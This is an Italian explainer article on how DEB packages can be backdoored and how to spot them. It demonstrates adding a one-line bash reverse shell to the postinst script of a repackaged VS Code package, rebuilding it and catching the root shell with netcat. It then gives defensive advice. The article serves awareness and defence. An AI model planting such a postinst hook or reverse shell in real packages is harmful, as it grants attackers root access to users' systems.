Come vengono backdoor i pacchetti DEB e come rilevarli

Punti chiave

  • I pacchetti DEB possono essere facilmente sottoposti a backdoor, consentendo agli aggressori di iniettare codice dannoso nel tuo sistema quando li installi con permessi di root.
  • I pacchetti DEB infetti sono difficili da rilevare, poiché potrebbero non essere contrassegnati da software antivirus o soluzioni cloud come VirusTotal.
  • Per proteggerti, evita di scaricare pacchetti DEB da siti casuali, attieniti a siti di download ufficiali o siti attendibili dalla comunità e considera l’installazione di strumenti di sicurezza per proteggere il tuo sistema Linux dagli attacchi di rete.

I file DEB sono pacchetti software che rappresentano il formato principale del software di spedizione su distribuzioni Linux basate su Debian.

Per installare i pacchetti DEB è necessario utilizzare un gestore di pacchetti come dpkg con permessi di root. Gli aggressori ne approfittano e inseriscono backdoor in questi pacchetti. Quando li installi con dpkg o qualsiasi altro gestore di pacchetti, anche il codice dannoso viene eseguito insieme e compromette il tuo sistema.

Esploriamo esattamente come vengono backdoor i pacchetti DEB e cosa puoi fare per proteggerti.

Come vengono backdoorizzati i pacchetti DEB?

Prima di capire come vengono backdoor i pacchetti DEB, esploriamo cosa c’è dentro un pacchetto DEB. A scopo dimostrativo, scaricherò il pacchetto DEB di Microsoft Visual Studio Code dal sito Web ufficiale di Microsoft. Questo è lo stesso pacchetto che scaricheresti se desideri installare VS Code su Linux.

Scaricamento: Codice di Visual Studio

Ora che hai scaricato il pacchetto di destinazione, è il momento di decomprimerlo. Puoi decomprimere un pacchetto DEB utilizzando il comando dpkg-deb con il flag -R seguito dal percorso per archiviare il contenuto:

 dpkg-deb -R <package_name> <path> 

Questo dovrebbe estrarre il contenuto del pacchetto VS Code.

Spostandoci nella cartella troverai più directory, tuttavia, il nostro interesse risiede solo nella directory DEBIAN. Questa directory contiene gli script del manutentore che vengono eseguiti durante l’installazione con privilegi di root. Come avrai già capito, gli aggressori modificano gli script in questa directory.

A scopo dimostrativo, modificherò lo script postinst e aggiungerò una semplice shell TCP inversa Bash a riga singola. Come suggerisce il nome, è uno script che viene eseguito dopo l’installazione del pacchetto sul sistema.

Contiene comandi che finalizzano le configurazioni come l’impostazione di collegamenti simbolici, la gestione delle dipendenze e altro. Puoi trovare tonnellate di diversi gusci inversi su Internet. La maggior parte funzionerà allo stesso modo. Ecco l’esempio di una riga di shell inversa:

 bash -i >& /dev/tcp/127.0.0.1/42069 0>&1 

Spiegazione del comando:

  • bash: questo è il comando che richiama la shell Bash.
  • -i: il flag indica a Bash di essere eseguito in modalità interattiva consentendo l’I/O dei comandi in tempo reale.
  • >& /dev/tcp/ip/port: reindirizza l’output standard e l’errore standard a un socket di rete, stabilendo essenzialmente una connessione TCP a e .
  • 0>&1: reindirizza l’input e l’output nella stessa posizione, ovvero al socket di rete.

Per chi non lo sapesse, una shell inversa è un tipo di codice che, quando eseguito sulla macchina bersaglio, avvia una connessione con la macchina dell’aggressore. Le shell inverse sono un ottimo modo per aggirare le restrizioni del firewall poiché il traffico viene generato dalla macchina dietro il firewall.

Ecco come appare lo script modificato:

Come puoi vedere, è tutto uguale ma è stata aggiunta solo una riga, ovvero la nostra shell inversa Bash. Ora devi ricostruire i file nel formato “.deb”. Usa semplicemente il comando dpkg con il flag –build o usa dpkg-deb con il flag -b seguito dal percorso dei contenuti estratti:

 dpkg --build <directory>
dpkg-deb -b <directory>

Ora il pacchetto DEB backdoor è pronto per essere spedito su siti dannosi. Simuliamo uno scenario in cui una vittima ha scaricato il pacchetto DEB sul proprio sistema e lo sta installando come qualsiasi altro pacchetto normale.

Il riquadro superiore del terminale è per il POV della vittima e quello inferiore è il POV dell’aggressore. La vittima sta installando il pacchetto con sudo dpkg -i e l’aggressore ascolta pazientemente le connessioni in entrata utilizzando il comando netcat in Linux.

Non appena l’installazione termina, noterai che l’aggressore ottiene la connessione alla shell inversa e ora ha accesso root al sistema della vittima. Ora sai come vengono backdoor i pacchetti DEB. Impariamo ora come puoi proteggerti.

Come rilevare se un pacchetto DEB è dannoso

Ora che sai che i pacchetti DEB infetti esistono, ti starai chiedendo come trovare quelli infetti. Per cominciare, puoi provare a utilizzare un software antivirus Linux come ClamAV. Sfortunatamente, quando è stata eseguita una scansione con ClamAV sul pacchetto, il pacchetto non è stato contrassegnato come dannoso. Ecco il risultato della scansione:

Quindi, a meno che tu non disponga di una soluzione antivirus premium (che non è una garanzia che non verrai hackerato), è piuttosto difficile rilevare pacchetti DEB dannosi. Proviamo a utilizzare una soluzione cloud come il sito Web VirusTotal:

Come puoi vedere, VirusTotal non ha rilevato nulla di sbagliato. Bene, l’unico modo per proteggersi da tali minacce è seguire le norme di sicurezza di base, come non scaricare file da fonti sconosciute, controllare sempre l’hash di un file e, in generale, evitare di installare software loschi.

Internet è pieno di tali minacce. L’unico modo per navigare senza perdere i tuoi dati è essere intelligente e navigare su siti affidabili. Inoltre, per Linux, dovresti anche provare a verificare se il software che stai scaricando ha una variante AppImage poiché sono autonomi e possono essere inseriti in sandbox e quindi tenuti fuori contatto con il tuo sistema.

Non scaricare pacchetti DEB da siti casuali!

I pacchetti DEB non sono intrinsecamente dannosi, tuttavia gli aggressori possono facilmente trasformarli in un’arma e spedirli a utenti ignari. Come dimostrato, un pacchetto DEB può essere facilmente aperto e modificato per aggiungere codice personalizzato con pochi comandi, rendendolo un vettore comune per la diffusione di malware.

Anche le semplici backdoor sui pacchetti DEB non vengono rilevate dalle migliori soluzioni antivirus. Quindi la cosa migliore da fare è giocare sul sicuro, usare il buon senso mentre navighi sul Web e scaricare sempre il software solo da siti di download ufficiali o siti attendibili dalla comunità.

Ora che sei consapevole dei rischi per la sicurezza derivanti dall’installazione di pacchetti DEB da siti nuovi o sconosciuti, dovresti essere cauto quando installi un nuovo software. Tuttavia, fare attenzione a ciò che installi non è sufficiente. Anche il tuo sistema Linux può essere un bersaglio di attacchi di rete.

Per assicurarti di essere al sicuro in caso di attacco di rete, dovresti prendere in considerazione l’installazione di strumenti di sicurezza di rete.